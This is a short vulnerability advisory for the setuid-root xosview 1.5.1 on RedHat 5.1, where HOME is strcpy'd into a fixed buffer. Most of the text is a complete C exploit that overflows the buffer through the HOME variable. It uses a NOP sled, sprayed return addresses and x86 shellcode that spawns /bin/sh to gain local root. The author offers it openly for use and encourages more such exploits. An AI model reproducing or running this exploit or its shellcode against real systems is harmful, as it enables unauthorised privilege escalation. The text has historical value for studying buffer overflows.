// source: https://www.securityfocus.com/bid/362/info
xosview is an X11 system monitoring application that ships with RedHat 5.1 installed setuid root. A buffer overflow vulnerability was found in Xrm.cc, the offending code listed below:
char userrfilename[1024];
strcpy(userrfilename, getenv("HOME"));
The userfilename can be overflowed and arbritrary code executed to gain root access locally.
* xosview 1.5.1 buffer overrun exploit
* brought to you by Kossak (ldvg@rnl.ist.utl.pt)
*
* yep, this is a shameless rip from Aleph's tutorials, but it sure
* works... Lets keep those exploits coming!! :)
* Thanks to Chris Evans for posting the bug.
*/
/* NOTE!!! xosview needs an open X display for this to work, so remember
* to modify the source (line 62), with your ip.
* The offset and buffer size work with me fine, but you might need to
* change them.
*/
#include <stdlib.h>
#define DEFAULT_OFFSET 1150
#define DEFAULT_BUFFER_SIZE 3500
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("xosview exploit by Kossak\n");
printf("try changing the default values if you dont get root now.\n");
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
buff[i] = NOP;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
setenv("HOME", buff, 1);
system("/usr/bin/X11/xosview -display 0:0"); /* your IP here */
}
